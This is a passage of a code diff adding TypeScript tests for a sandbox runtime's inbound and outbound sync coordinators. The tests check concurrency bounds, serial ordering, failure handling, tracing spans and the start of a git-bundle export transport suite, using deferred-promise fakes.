+  it("nests the host pack span under the stage.workspace task span", async () => {
     const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-pack-nest-"));
     cleanupDirs.push(rootDir);
     const localWorkspaceDir = path.join(rootDir, "local-workspace");
@@ -2114,13 +2310,16 @@ describe("sandbox managed runtime", () => {
     );
 
     const stageSpan = spans.find((span) => span.name === "stage.sync");
+    const workspaceSpan = spans.find((span) => span.name === "stage.workspace");
     const packSpan = spans.find((span) => span.name === "pack");
     expect(stageSpan).toBeDefined();
+    expect(workspaceSpan).toBeDefined();
     expect(packSpan).toBeDefined();
     expect(packSpan!.ended).toBe(true);
-    // The `pack` span parents to `stage.sync`, not to the root span, so it nests
-    // under the step in a real trace.
-    expect(packSpan!.parentName).toBe("stage.sync");
+    // The workspace stage task opens its own `stage.workspace` span under
+    // `stage.sync`, and the `pack` span nests under `stage.workspace`.
+    expect(workspaceSpan!.parentName).toBe("stage.sync");
+    expect(packSpan!.parentName).toBe("stage.workspace");
 
     // The two pre-`pack` staging sub-steps nest under `stage.sync` the same way,
     // so the previously hidden gap at the head of the step is now attributed.
@@ -2132,3 +2331,1131 @@ describe("sandbox managed runtime", () => {
     }
   });
 });
+
+// A deferred promise a test resolves or rejects by hand.
+interface Deferred<T> {
+  promise: Promise<T>;
+  resolve: (value: T) => void;
+  reject: (reason: unknown) => void;
+}
+
+function defer<T>(): Deferred<T> {
+  let resolve!: (value: T) => void;
+  let reject!: (reason: unknown) => void;
+  const promise = new Promise<T>((res, rej) => {
+    resolve = res;
+    reject = rej;
+  });
+  return { promise, resolve, reject };
+}
+
+function settleTick(ms: number): Promise<void> {
+  return new Promise((resolve) => setTimeout(resolve, ms));
+}
+
+// A span recorder that captures each opened span name and the set of spans that
+// are open right now. `opened` records every span in open order. `openNow` holds
+// the names of the spans that started but did not end yet, so a test proves two
+// concurrent tasks keep their spans open at the same time.
+function makeSpanRecorder(): {
+  runtimeSpan: RuntimeSpanRunner;
+  opened: string[];
+  openNow: Set<string>;
+} {
+  const opened: string[] = [];
+  const openNow = new Set<string>();
+  const runtimeSpan: RuntimeSpanRunner = async (name, work) => {
+    opened.push(name);
+    openNow.add(name);
+    try {
+      return await work();
+    } finally {
+      openNow.delete(name);
+    }
+  };
+  return { runtimeSpan, opened, openNow };
+}
+
+// A controlled `syncIn` client. It labels each inbound operation, records the
+// start and settle order, and lets a test hold one upload open, release it, or
+// make it fail. One operation rides each `syncIn` call, so one call maps to one
+// label. This exercises the inbound coordinator's schedule, bound, failure
+// semantics, and startup barrier with deferred-promise fakes.
+interface SyncControl {
+  started: string[];
+  settled: string[];
+  waitForStart(label: string): Promise<void>;
+  hold(label: string): void;
+  release(label: string): void;
+  failWith(label: string, error: Error): void;
+}
+
+function labelOfOperation(operation: SandboxSyncOperation): string {
+  const bases = operation.files.map((mapping) => path.posix.basename(mapping.targetPath));
+  if (bases.some((base) => base === "workspace-upload.tar" || base === "git-workspace-upload.tar")) {
+    return "workspace";
+  }
+  const assetBase = bases.find((base) => base.endsWith("-upload.tar"));
+  if (assetBase) {
+    return assetBase.slice(0, -"-upload.tar".length);
+  }
+  const projectBase = bases.find((base) => base.startsWith("project-"));
+  if (projectBase) {
+    return projectBase;
+  }
+  return bases[0] ?? operation.operationId;
+}
+
+function makeControlledSyncClient(options: { concurrent: boolean }): {
+  client: SandboxManagedRuntimeClient;
+  control: SyncControl;
+} {
+  const started: string[] = [];
+  const settled: string[] = [];
+  const gates = new Map<string, Deferred<void>>();
+  const failures = new Map<string, Error>();
+  const startWaiters = new Map<string, Array<() => void>>();
+
+  const control: SyncControl = {
+    started,
+    settled,
+    waitForStart(label) {
+      if (started.includes(label)) {
+        return Promise.resolve();
+      }
+      return new Promise<void>((resolve) => {
+        const waiters = startWaiters.get(label) ?? [];
+        waiters.push(resolve);
+        startWaiters.set(label, waiters);
+      });
+    },
+    hold(label) {
+      if (!gates.has(label)) {
+        gates.set(label, defer<void>());
+      }
+    },
+    release(label) {
+      gates.get(label)?.resolve();
+    },
+    failWith(label, error) {
+      failures.set(label, error);
+      gates.get(label)?.resolve();
+    },
+  };
+
+  const noop = async (): Promise<void> => {};
+  const client: SandboxManagedRuntimeClient = {
+    makeDir: noop,
+    writeFile: noop,
+    readFile: async () => Buffer.alloc(0),
+    listFiles: async () => [],
+    remove: noop,
+    run: noop,
+    allowConcurrentSyncOperations: options.concurrent,
+    syncIn: async (operations) => {
+      const operation = operations[0]!;
+      const label = labelOfOperation(operation);
+      started.push(label);
+      const waiters = startWaiters.get(label) ?? [];
+      startWaiters.delete(label);
+      for (const waiter of waiters) {
+        waiter();
+      }
+      try {
+        const gate = gates.get(label);
+        if (gate) {
+          await gate.promise;
+        }
+        const failure = failures.get(label);
+        if (failure) {
+          throw failure;
+        }
+        return {
+          operations: [{
+            operationId: operation.operationId,
+            filesTransferred: operation.files.length,
+            bytesTransferred: 0,
+          }],
+        };
+      } finally {
+        settled.push(label);
+      }
+    },
+  };
+
+  return { client, control };
+}
+
+describe("sandbox managed runtime inbound coordinator", () => {
+  const cleanupDirs: string[] = [];
+
+  afterEach(async () => {
+    while (cleanupDirs.length > 0) {
+      const dir = cleanupDirs.pop();
+      if (!dir) continue;
+      await rm(dir, { recursive: true, force: true }).catch(() => undefined);
+    }
+  });
+
+  function makeSpec(remoteCwd: string) {
+    return {
+      transport: "sandbox" as const,
+      provider: "test",
+      sandboxId: "sandbox-1",
+      remoteCwd,
+      timeoutMs: 30_000,
+      apiKey: null,
+    };
+  }
+
+  // Create a temp root with one workspace directory and any named asset/project
+  // directories. Each directory carries one file, so the host tar step has bytes.
+  async function makeInboundDirs(names: string[]): Promise<{
+    rootDir: string;
+    workspaceDir: string;
+    dirOf: (name: string) => string;
+  }> {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-inbound-coordinator-"));
+    cleanupDirs.push(rootDir);
+    const workspaceDir = path.join(rootDir, "workspace");
+    await mkdir(workspaceDir, { recursive: true });
+    await writeFile(path.join(workspaceDir, "file.txt"), "workspace\n", "utf8");
+    const dirs = new Map<string, string>();
+    for (const name of names) {
+      const dir = path.join(rootDir, name);
+      await mkdir(dir, { recursive: true });
+      await writeFile(path.join(dir, "file.txt"), `${name}\n`, "utf8");
+      dirs.set(name, dir);
+    }
+    return { rootDir, workspaceDir, dirOf: (name) => dirs.get(name)! };
+  }
+
+  // Resolve true when the label started within the window, false on timeout.
+  async function startedWithin(control: SyncControl, label: string, ms: number): Promise<boolean> {
+    return Promise.race([
+      control.waitForStart(label).then(() => true),
+      settleTick(ms).then(() => false),
+    ]);
+  }
+
+  it("with concurrency permitted, the home asset upload starts while the workspace upload is held open", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["home"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    control.hold("workspace");
+
+    const prepared = prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [{ key: "home", localDir: dirOf("home") }],
+    });
+    prepared.catch(() => undefined);
+
+    // The workspace upload is open and held. The home asset upload still starts,
+    // so the coordinator runs the two operations concurrently.
+    await control.waitForStart("workspace");
+    expect(await startedWithin(control, "home", 4000)).toBe(true);
+    expect(control.settled).not.toContain("workspace");
+
+    control.release("workspace");
+    await prepared;
+    expect(control.settled).toContain("home");
+  });
+
+  it("with five operations and the bound of 4, the fifth operation does not start while four stay open", async () => {
+    expect(SYNC_OPERATION_CONCURRENCY_LIMIT).toBe(4);
+    const assetKeys = Array.from(
+      { length: SYNC_OPERATION_CONCURRENCY_LIMIT + 1 },
+      (_unused, index) => `asset-${index}`,
+    );
+    const { workspaceDir, dirOf } = await makeInboundDirs(assetKeys);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    for (const key of assetKeys) {
+      control.hold(key);
+    }
+
+    const prepared = prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      syncWorkspace: false,
+      workspaceLocalDir: workspaceDir,
+      assets: assetKeys.map((key) => ({ key, localDir: dirOf(key) })),
+    });
+    prepared.catch(() => undefined);
+
+    const firstFour = assetKeys.slice(0, SYNC_OPERATION_CONCURRENCY_LIMIT);
+    const fifth = assetKeys[SYNC_OPERATION_CONCURRENCY_LIMIT]!;
+    for (const key of firstFour) {
+      await control.waitForStart(key);
+    }
+    // The bound holds the fifth operation while four stay open.
+    expect(await startedWithin(control, fifth, 300)).toBe(false);
+    expect(control.started.slice().sort()).toEqual(firstFour.slice().sort());
+
+    // One release frees one slot, so the fifth operation starts.
+    control.release(firstFour[0]!);
+    expect(await startedWithin(control, fifth, 4000)).toBe(true);
+
+    for (const key of assetKeys) {
+      control.release(key);
+    }
+    await prepared;
+    expect(control.settled.slice().sort()).toEqual(assetKeys.slice().sort());
+  });
+
+  it("holds one upload open after another upload fails, and returns only after both settle", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["asset-a", "asset-b"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    control.hold("asset-b");
+
+    let coordinatorSettled = false;
+    const prepared = prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      syncWorkspace: false,
+      workspaceLocalDir: workspaceDir,
+      assets: [
+        { key: "asset-a", localDir: dirOf("asset-a") },
+        { key: "asset-b", localDir: dirOf("asset-b") },
+      ],
+    });
+    const done = prepared.then(
+      () => { coordinatorSettled = true; },
+      () => { coordinatorSettled = true; },
+    );
+
+    control.failWith("asset-a", new Error("asset-a-fail"));
+    await control.waitForStart("asset-b");
+    await settleTick(100);
+
+    // The first upload already failed. The second upload is still open, so the
+    // coordinator must not return yet.
+    expect(coordinatorSettled).toBe(false);
+    expect(control.settled).toContain("asset-a");
+    expect(control.settled).not.toContain("asset-b");
+
+    control.release("asset-b");
+    await done;
+    expect(coordinatorSettled).toBe(true);
+    expect(control.settled).toEqual(expect.arrayContaining(["asset-a", "asset-b"]));
+  });
+
+  it("records a referenced-project failure as nonfatal and finishes the other referenced-project uploads", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["good", "bad"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    control.failWith("project-bad", new Error("bad-upload"));
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      syncWorkspace: false,
+      workspaceLocalDir: workspaceDir,
+      additionalSources: [
+        { localPath: dirOf("good"), projectId: "good" },
+        { localPath: dirOf("bad"), projectId: "bad" },
+      ],
+    });
+
+    // The healthy project synced; the failed project is a recorded, nonfatal
+    // outcome, so the coordinator resolved.
+    expect(Object.keys(prepared.additionalSourceDirs)).toEqual(["good"]);
+    expect(prepared.additionalSourceFailures.map((failure) => failure.projectId)).toEqual(["bad"]);
+    expect(prepared.additionalSourceFailures[0]!.error).toContain("bad-upload");
+    expect(control.settled).toContain("project-good");
+  });
+
+  it("raises an asset failure as fatal after the barrier", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["asset-good", "asset-bad"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    control.failWith("asset-bad", new Error("asset-bad-fail"));
+
+    await expect(
+      prepareSandboxManagedRuntime({
+        spec: makeSpec("/remote/cwd"),
+        adapterKey: "codex",
+        client,
+        syncWorkspace: false,
+        workspaceLocalDir: workspaceDir,
+        assets: [
+          { key: "asset-good", localDir: dirOf("asset-good") },
+          { key: "asset-bad", localDir: dirOf("asset-bad") },
+        ],
+      }),
+    ).rejects.toThrow("asset-bad-fail");
+
+    // The barrier still settles the healthy asset before the coordinator raises.
+    expect(control.settled).toContain("asset-good");
+  });
+
+  it("raises the earlier required failure when the workspace and an asset both fail", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["asset-a"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    control.failWith("workspace", new Error("workspace-fail"));
+    control.failWith("asset-a", new Error("asset-a-fail"));
+
+    // The workspace comes before the asset in stable operation order, so the
+    // coordinator raises the workspace failure.
+    await expect(
+      prepareSandboxManagedRuntime({
+        spec: makeSpec("/remote/cwd"),
+        adapterKey: "codex",
+        client,
+        workspaceLocalDir: workspaceDir,
+        assets: [{ key: "asset-a", localDir: dirOf("asset-a") }],
+      }),
+    ).rejects.toThrow("workspace-fail");
+  });
+
+  it("with concurrency forbidden, keeps the serial schedule in the current order", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["asset-a"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: false });
+    control.hold("workspace");
+
+    const prepared = prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [{ key: "asset-a", localDir: dirOf("asset-a") }],
+    });
+    prepared.catch(() => undefined);
+
+    // The workspace runs first and is held open. Serial mode runs one operation
+    // at a time, so the asset upload does not start until the workspace settles.
+    await control.waitForStart("workspace");
+    expect(await startedWithin(control, "asset-a", 300)).toBe(false);
+    expect(control.started).toEqual(["workspace"]);
+
+    control.release("workspace");
+    await control.waitForStart("asset-a");
+    await prepared;
+    // The serial order stays workspace first, then the asset.
+    expect(control.started).toEqual(["workspace", "asset-a"]);
+  });
+
+  it("opens one named span per inbound task: stage.workspace, stage.asset.<key>, stage.project.<id>", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["home", "proj"]);
+    const { client } = makeControlledSyncClient({ concurrent: false });
+    const { runtimeSpan, opened } = makeSpanRecorder();
+
+    await prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [{ key: "home", localDir: dirOf("home") }],
+      additionalSources: [{ localPath: dirOf("proj"), projectId: "proj-1" }],
+      runtimeSpan,
+    });
+
+    // Each inbound task carries its own named span. The workspace task, the home
+    // asset task, and the referenced-project task each open one.
+    expect(opened).toContain("stage.workspace");
+    expect(opened).toContain("stage.asset.home");
+    expect(opened).toContain("stage.project.proj-1");
+  });
+
+  it("with concurrency permitted, the workspace and asset inbound task spans overlap in time", async () => {
+    const { workspaceDir, dirOf } = await makeInboundDirs(["home"]);
+    const { client, control } = makeControlledSyncClient({ concurrent: true });
+    const { runtimeSpan, openNow } = makeSpanRecorder();
+    control.hold("workspace");
+    control.hold("home");
+
+    const prepared = prepareSandboxManagedRuntime({
+      spec: makeSpec("/remote/cwd"),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [{ key: "home", localDir: dirOf("home") }],
+      runtimeSpan,
+    });
+    prepared.catch(() => undefined);
+
+    // Both uploads are held open at their transfer. Each task span opens before
+    // its transfer and stays open while the transfer is held, so the two spans
+    // are open at the same time.
+    await control.waitForStart("workspace");
+    await control.waitForStart("home");
+    expect(openNow.has("stage.workspace")).toBe(true);
+    expect(openNow.has("stage.asset.home")).toBe(true);
+
+    control.release("workspace");
+    control.release("home");
+    await prepared;
+  });
+});
+
+// A controlled outbound restore. It reuses the deferred-promise fakes. The
+// native `syncOut` copies the sandbox workspace back into the restore temp
+// directory, and a gate holds the workspace restore open. Each asset carries a
+// controlled `restore` callback the test can hold, release, or make fail. One
+// label rides the workspace restore and one label rides each asset restore, so
+// a test can watch the outbound coordinator schedule, bound, failure semantics,
+// and teardown barrier.
+interface OutboundControl {
+  started: string[];
+  settled: string[];
+  restoreTempDirs: Map<string, string | undefined>;
+  waitForStart(label: string): Promise<void>;
+  hold(label: string): void;
+  release(label: string): void;
+  failWith(label: string, error: Error): void;
+}
+
+function makeOutboundControl(): {
+  control: OutboundControl;
+  gate: <T>(label: string, run: () => Promise<T>) => Promise<T>;
+} {
+  const started: string[] = [];
+  const settled: string[] = [];
+  const restoreTempDirs = new Map<string, string | undefined>();
+  const gates = new Map<string, Deferred<void>>();
+  const failures = new Map<string, Error>();
+  const startWaiters = new Map<string, Array<() => void>>();
+
+  const control: OutboundControl = {
+    started,
+    settled,
+    restoreTempDirs,
+    waitForStart(label) {
+      if (started.includes(label)) {
+        return Promise.resolve();
+      }
+      return new Promise<void>((resolve) => {
+        const waiters = startWaiters.get(label) ?? [];
+        waiters.push(resolve);
+        startWaiters.set(label, waiters);
+      });
+    },
+    hold(label) {
+      if (!gates.has(label)) {
+        gates.set(label, defer<void>());
+      }
+    },
+    release(label) {
+      gates.get(label)?.resolve();
+    },
+    failWith(label, error) {
+      failures.set(label, error);
+      gates.get(label)?.resolve();
+    },
+  };
+
+  // Record the task start, notify start waiters, wait for the gate, raise a set
+  // failure, then run the task body and record the settle. A gate that a test
+  // never holds resolves at once, so an unheld task runs straight through.
+  async function gate<T>(label: string, run: () => Promise<T>): Promise<T> {
+    started.push(label);
+    const waiters = startWaiters.get(label) ?? [];
+    startWaiters.delete(label);
+    for (const waiter of waiters) {
+      waiter();
+    }
+    try {
+      const held = gates.get(label);
+      if (held) {
+        await held.promise;
+      }
+      const failure = failures.get(label);
+      if (failure) {
+        throw failure;
+      }
+      return await run();
+    } finally {
+      settled.push(label);
+    }
+  }
+
+  return { control, gate };
+}
+
+// A native filesystem client whose `syncOut` copies the sandbox workspace back
+// through the gate. The inbound prepare step uses the base64-tar fallback
+// `syncIn`. The client opts into concurrency by the flag.
+function makeGatedOutboundClient(
+  concurrent: boolean,
+  gate: <T>(label: string, run: () => Promise<T>) => Promise<T>,
+): SandboxManagedRuntimeClient {
+  const client: SandboxManagedRuntimeClient = {
+    makeDir: async (remotePath) => {
+      await mkdir(remotePath, { recursive: true });
+    },
+    writeFile: async (remotePath, bytes) => {
+      await mkdir(path.dirname(remotePath), { recursive: true });
+      await writeFile(remotePath, Buffer.from(bytes));
+    },
+    readFile: async (remotePath) => await readFile(remotePath),
+    listFiles: async (remotePath) => {
+      const entries = await readdir(remotePath, { withFileTypes: true }).catch(() => []);
+      return entries.filter((entry) => entry.isFile()).map((entry) => entry.name).sort();
+    },
+    remove: async (remotePath) => {
+      await rm(remotePath, { recursive: true, force: true });
+    },
+    run: async (command) => {
+      await execFile("sh", ["-c", command], { maxBuffer: 32 * 1024 * 1024 });
+    },
+    allowConcurrentSyncOperations: concurrent,
+    syncOut: async (operations) =>
+      gate("workspace", async () => {
+        for (const operation of operations) {
+          for (const mapping of operation.files) {
+            if (mapping.kind === "directory") {
+              await mirrorDirectory(mapping.sourcePath, mapping.targetPath);
+            } else {
+              await mkdir(path.dirname(mapping.targetPath), { recursive: true });
+              await writeFile(mapping.targetPath, await readFile(mapping.sourcePath));
+            }
+          }
+        }
+        return {
+          operations: operations.map((operation) => ({
+            operationId: operation.operationId,
+            filesTransferred: operation.files.length,
+            bytesTransferred: 0,
+          })),
+        };
+      }),
+  };
+  attachFallbackSyncIn(client);
+  return client;
+}
+
+// Build one asset with a controlled `restore`. The restore records its own
+// temp directory, then runs through the gate. The temp directory proves that
+// two concurrent restore tasks keep separate scratch state.
+function makeControlledAsset(
+  key: string,
+  localDir: string,
+  control: OutboundControl,
+  gate: <T>(label: string, run: () => Promise<T>) => Promise<T>,
+): SandboxManagedRuntimeAsset {
+  return {
+    key,
+    localDir,
+    restore: async (ctx) => {
+      control.restoreTempDirs.set(key, ctx.tempDir);
+      await gate(key, async () => {
+        if (ctx.tempDir) {
+          await writeFile(path.join(ctx.tempDir, `scratch-${key}.txt`), key, "utf8");
+        }
+      });
+    },
+  };
+}
+
+describe("sandbox managed runtime outbound coordinator", () => {
+  const cleanupDirs: string[] = [];
+
+  afterEach(async () => {
+    while (cleanupDirs.length > 0) {
+      const dir = cleanupDirs.pop();
+      if (!dir) continue;
+      await rm(dir, { recursive: true, force: true }).catch(() => undefined);
+    }
+  });
+
+  function makeSpec(remoteCwd: string) {
+    return {
+      transport: "sandbox" as const,
+      provider: "test",
+      sandboxId: "sandbox-1",
+      remoteCwd,
+      timeoutMs: 30_000,
+      apiKey: null,
+    };
+  }
+
+  // Create a temp root with one workspace directory and any named asset
+  // directories. Each directory carries one file, so the host tar step has
+  // bytes and the merge has content.
+  async function makeOutboundDirs(names: string[]): Promise<{
+    rootDir: string;
+    workspaceDir: string;
+    remoteWorkspaceDir: string;
+    dirOf: (name: string) => string;
+  }> {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-outbound-coordinator-"));
+    cleanupDirs.push(rootDir);
+    const workspaceDir = path.join(rootDir, "workspace");
+    const remoteWorkspaceDir = path.join(rootDir, "remote-workspace");
+    await mkdir(workspaceDir, { recursive: true });
+    await writeFile(path.join(workspaceDir, "file.txt"), "workspace\n", "utf8");
+    const dirs = new Map<string, string>();
+    for (const name of names) {
+      const dir = path.join(rootDir, name);
+      await mkdir(dir, { recursive: true });
+      await writeFile(path.join(dir, "file.txt"), `${name}\n`, "utf8");
+      dirs.set(name, dir);
+    }
+    return { rootDir, workspaceDir, remoteWorkspaceDir, dirOf: (name) => dirs.get(name)! };
+  }
+
+  // Resolve true when the label started within the window, false on timeout.
+  async function startedWithin(control: OutboundControl, label: string, ms: number): Promise<boolean> {
+    return Promise.race([
+      control.waitForStart(label).then(() => true),
+      settleTick(ms).then(() => false),
+    ]);
+  }
+
+  it("with concurrency permitted, an asset restore starts while the workspace restore is held open", async () => {
+    const { workspaceDir, remoteWorkspaceDir, dirOf } = await makeOutboundDirs(["home"]);
+    const { control, gate } = makeOutboundControl();
+    const client = makeGatedOutboundClient(true, gate);
+    control.hold("workspace");
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec(remoteWorkspaceDir),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [makeControlledAsset("home", dirOf("home"), control, gate)],
+    });
+
+    const restore = prepared.restoreWorkspace();
+    restore.catch(() => undefined);
+
+    // The workspace restore is open and held. The home asset restore still
+    // starts, so the coordinator runs the two tasks concurrently.
+    await control.waitForStart("workspace");
+    expect(await startedWithin(control, "home", 4000)).toBe(true);
+    expect(control.settled).not.toContain("workspace");
+
+    control.release("workspace");
+    await restore;
+    expect(control.settled).toContain("home");
+    expect(control.settled).toContain("workspace");
+  });
+
+  it("holds one restore open after another restore fails, and returns only after both settle", async () => {
+    const { workspaceDir, remoteWorkspaceDir, dirOf } = await makeOutboundDirs(["asset-a", "asset-b"]);
+    const { control, gate } = makeOutboundControl();
+    const client = makeGatedOutboundClient(true, gate);
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec(remoteWorkspaceDir),
+      adapterKey: "codex",
+      client,
+      syncWorkspace: false,
+      workspaceLocalDir: workspaceDir,
+      assets: [
+        makeControlledAsset("asset-a", dirOf("asset-a"), control, gate),
+        makeControlledAsset("asset-b", dirOf("asset-b"), control, gate),
+      ],
+    });
+
+    control.hold("asset-b");
+    control.failWith("asset-a", new Error("asset-a-fail"));
+
+    let coordinatorSettled = false;
+    const done = prepared.restoreWorkspace().then(
+      () => { coordinatorSettled = true; },
+      () => { coordinatorSettled = true; },
+    );
+
+    await control.waitForStart("asset-b");
+    await settleTick(100);
+
+    // The first restore already failed. The second restore is still open, so
+    // the coordinator must not return yet.
+    expect(coordinatorSettled).toBe(false);
+    expect(control.settled).toContain("asset-a");
+    expect(control.settled).not.toContain("asset-b");
+
+    control.release("asset-b");
+    await done;
+    expect(coordinatorSettled).toBe(true);
+    expect(control.settled).toEqual(expect.arrayContaining(["asset-a", "asset-b"]));
+  });
+
+  it("with concurrency forbidden, keeps the serial restore schedule in the current order", async () => {
+    const { workspaceDir, remoteWorkspaceDir, dirOf } = await makeOutboundDirs(["asset-a"]);
+    const { control, gate } = makeOutboundControl();
+    const client = makeGatedOutboundClient(false, gate);
+    control.hold("workspace");
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec(remoteWorkspaceDir),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [makeControlledAsset("asset-a", dirOf("asset-a"), control, gate)],
+    });
+
+    const restore = prepared.restoreWorkspace();
+    restore.catch(() => undefined);
+
+    // The workspace restore runs first and is held open. Serial mode runs one
+    // task at a time, so the asset restore does not start until the workspace
+    // restore settles.
+    await control.waitForStart("workspace");
+    expect(await startedWithin(control, "asset-a", 300)).toBe(false);
+    expect(control.started).toEqual(["workspace"]);
+
+    control.release("workspace");
+    await control.waitForStart("asset-a");
+    await restore;
+    // The serial order stays the workspace restore first, then the asset.
+    expect(control.started).toEqual(["workspace", "asset-a"]);
+  });
+
+  it("with concurrency permitted, two concurrent restore tasks use separate temporary state", async () => {
+    const { workspaceDir, remoteWorkspaceDir, dirOf } = await makeOutboundDirs(["asset-a", "asset-b"]);
+    const { control, gate } = makeOutboundControl();
+    const client = makeGatedOutboundClient(true, gate);
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec(remoteWorkspaceDir),
+      adapterKey: "codex",
+      client,
+      syncWorkspace: false,
+      workspaceLocalDir: workspaceDir,
+      assets: [
+        makeControlledAsset("asset-a", dirOf("asset-a"), control, gate),
+        makeControlledAsset("asset-b", dirOf("asset-b"), control, gate),
+      ],
+    });
+
+    control.hold("asset-a");
+    control.hold("asset-b");
+    const restore = prepared.restoreWorkspace();
+
+    // Both restore tasks start together under the bound. Each task carries its
+    // own restore temp directory, so the two directories differ.
+    await control.waitForStart("asset-a");
+    await control.waitForStart("asset-b");
+    const tempA = control.restoreTempDirs.get("asset-a");
+    const tempB = control.restoreTempDirs.get("asset-b");
+    expect(tempA).toBeTruthy();
+    expect(tempB).toBeTruthy();
+    expect(tempA).not.toBe(tempB);
+    expect(tempA!).toContain("paperclip-sandbox-restore-");
+    expect(tempB!).toContain("paperclip-sandbox-restore-");
+
+    control.release("asset-a");
+    control.release("asset-b");
+    await restore;
+    expect(control.settled).toEqual(expect.arrayContaining(["asset-a", "asset-b"]));
+  });
+
+  it("opens one named span per outbound restore task: restore.workspace, restore.asset.<key>", async () => {
+    const { workspaceDir, remoteWorkspaceDir, dirOf } = await makeOutboundDirs(["home"]);
+    const { control, gate } = makeOutboundControl();
+    const client = makeGatedOutboundClient(true, gate);
+    const { runtimeSpan, opened } = makeSpanRecorder();
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec(remoteWorkspaceDir),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [makeControlledAsset("home", dirOf("home"), control, gate)],
+      runtimeSpan,
+    });
+
+    await prepared.restoreWorkspace();
+
+    // Each outbound restore task carries its own named span. The workspace
+    // restore task and the home asset restore task each open one.
+    expect(opened).toContain("restore.workspace");
+    expect(opened).toContain("restore.asset.home");
+  });
+
+  it("with concurrency permitted, the workspace and asset restore task spans overlap in time", async () => {
+    const { workspaceDir, remoteWorkspaceDir, dirOf } = await makeOutboundDirs(["home"]);
+    const { control, gate } = makeOutboundControl();
+    const client = makeGatedOutboundClient(true, gate);
+    const { runtimeSpan, openNow } = makeSpanRecorder();
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: makeSpec(remoteWorkspaceDir),
+      adapterKey: "codex",
+      client,
+      workspaceLocalDir: workspaceDir,
+      assets: [makeControlledAsset("home", dirOf("home"), control, gate)],
+      runtimeSpan,
+    });
+
+    control.hold("workspace");
+    control.hold("home");
+    const restore = prepared.restoreWorkspace();
+    restore.catch(() => undefined);
+
+    // Both restore tasks are held open. Each restore task span opens before its
+    // work and stays open while the work is held, so the two spans are open at
+    // the same time.
+    await control.waitForStart("workspace");
+    await control.waitForStart("home");
+    expect(openNow.has("restore.workspace")).toBe(true);
+    expect(openNow.has("restore.asset.home")).toBe(true);
+
+    control.release("workspace");
+    control.release("home");
+    await restore;
+  });
+});
+
+// The bundle export inside the workspace restore task selects its outbound
+// transport by the client. A client with native `syncOut` copies the bundle
+// straight into the host restore temp directory through one `kind: "file"`
+// mapping. A client without native `syncOut` reads the bundle back through
+// `readFile`. These tests build a git-backed workspace and assert the transport
+// branch, the confinement guard, and the full-bundle retry.
+describe("sandbox git-bundle export transport", () => {
+  const cleanupDirs: string[] = [];
+
+  afterEach(async () => {
+    while (cleanupDirs.length > 0) {
+      const dir = cleanupDirs.pop();
+      if (!dir) continue;
+      await rm(dir, { recursive: true, force: true }).catch(() => undefined);
+    }
+  });
+
+  // Copy a directory tree and drop each entry whose name matches an exclude
+  // term. This models a native provider `syncOut` for a directory mapping: it
+  // honors `exclude`, so `.git`, `node_modules`, and the runtime root never
+  // reach the host restore temp directory. The tar fallback drops the same set.
+  async function copyDirectoryWithExclude(
+    sourceDir: string,
+    targetDir: string,
+    exclude: string[] | undefined,
+  ): Promise<void> {
+    const excludeNames = new Set((exclude ?? []).map((entry) => entry.replace(/\/$/, "")));
+    await mkdir(targetDir, { recursive: true });
+    const entries = await readdir(sourceDir, { withFileTypes: true });
+    for (const entry of entries) {
+      if (excludeNames.has(entry.name)) continue;
+      const source = path.join(sourceDir, entry.name);
+      const target = path.join(targetDir, entry.name);
+      if (entry.isDirectory()) {
+        await copyDirectoryWithExclude(source, target, exclude);
+      } else if (entry.isSymbolicLink()) {
+        await symlink(await fsPromises.readlink(source), target);
+      } else {
+        await writeFile(target, await readFile(source));
+      }
+    }
+  }
+
+  interface TransportCapture {
+    syncOutOperations: SandboxSyncOperation[];
+    readFilePaths: string[];
+  }
+
+  // Build a git-backed managed-runtime client. `native` toggles the outbound
+  // `syncOut`. The client records every `syncOut` operation and every `readFile`
+  // remote path, so a test can prove which transport moved the bundle.
+  function makeTransportClient(native: boolean, capture: TransportCapture): SandboxManagedRuntimeClient {
+    const client: SandboxManagedRuntimeClient = {
+      makeDir: async (remotePath) => {
+        await mkdir(remotePath, { recursive: true });
+      },
